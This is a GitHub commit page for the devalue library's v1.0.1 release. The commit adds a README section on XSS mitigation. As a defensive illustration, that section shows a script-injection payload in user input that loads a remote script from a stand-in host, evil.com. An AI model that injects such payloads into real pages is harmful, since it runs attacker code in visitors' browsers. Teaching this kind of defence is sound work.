Skip to content

Commit 1aae805

Browse files
committed
-> v1.0.1
1 parent 52e3326 commit 1aae805

File tree

3 files changed

+54
-2
lines changed

3 files changed

+54
-2
lines changed

CHANGELOG.md

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,8 @@
1-
# TODO changelog
1+
# devalue changelog
2+
3+
## 1.0.1
4+
5+
* XSS mitigation ([#1](https://github.com/Rich-Harris/devalue/issues/1))
26

37
## 1.0.0
48

README.md

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@ Try it out on [runkit.com](https://npm.runkit.com/devalue).
1414
## Goals:
1515

1616
* Performance
17+
* Security (see [XSS mitigation](#xss-mitigation))
1718
* Compact output
1819

1920

@@ -40,6 +41,53 @@ devalue(obj); // '(function(a){a.a=1;a.b=2;a.c=3;a.self=a;return a}({}))'
4041
If `devalue` encounters a function or a non-POJO, it will throw an error.
4142

4243

44+
## XSS mitigation
45+
46+
Say you're server-rendering a page and want to serialize some state, which could include user input. `JSON.stringify` doesn't protect against XSS attacks:
47+
48+
```js
49+
const state = {
50+
userinput: `</script><script src='https://evil.com/mwahaha.js'>`
51+
};
52+
53+
const template = `
54+
<script>
55+
// NEVER DO THIS
56+
var preloaded = ${JSON.stringify(state)};
57+
</script>`;
58+
```
59+
60+
Which would result in this:
61+
62+
```html
63+
<script>
64+
// NEVER DO THIS
65+
var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"};
66+
</script>
67+
```
68+
69+
Using `devalue`, we're protected against that attack:
70+
71+
```js
72+
const template = `
73+
<script>
74+
var preloaded = ${devalue(state)};
75+
</script>`;
76+
```
77+
78+
```html
79+
<script>
80+
var preloaded = {userinput:"\\u003C\\u002Fscript\\u003E\\u003Cscript src=\'https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js\'\\u003E"};
81+
</script>
82+
```
83+
84+
This, along with the fact that `devalue` bails on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by `devalue` can be safely deserialized with `eval` or `new Function`:
85+
86+
```js
87+
const value = eval('(' + str + ')');
88+
```
89+
90+
4391
## See also
4492

4593
* [lave](https://github.com/jed/lave) by Jed Schmidt

package.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"name": "devalue",
33
"description": "Gets the job done when JSON.stringify can't",
4-
"version": "1.0.0",
4+
"version": "1.0.1",
55
"repository": "Rich-Harris/devalue",
66
"main": "dist/devalue.umd.js",
77
"module": "dist/devalue.esm.js",

0 commit comments

Comments
 (0)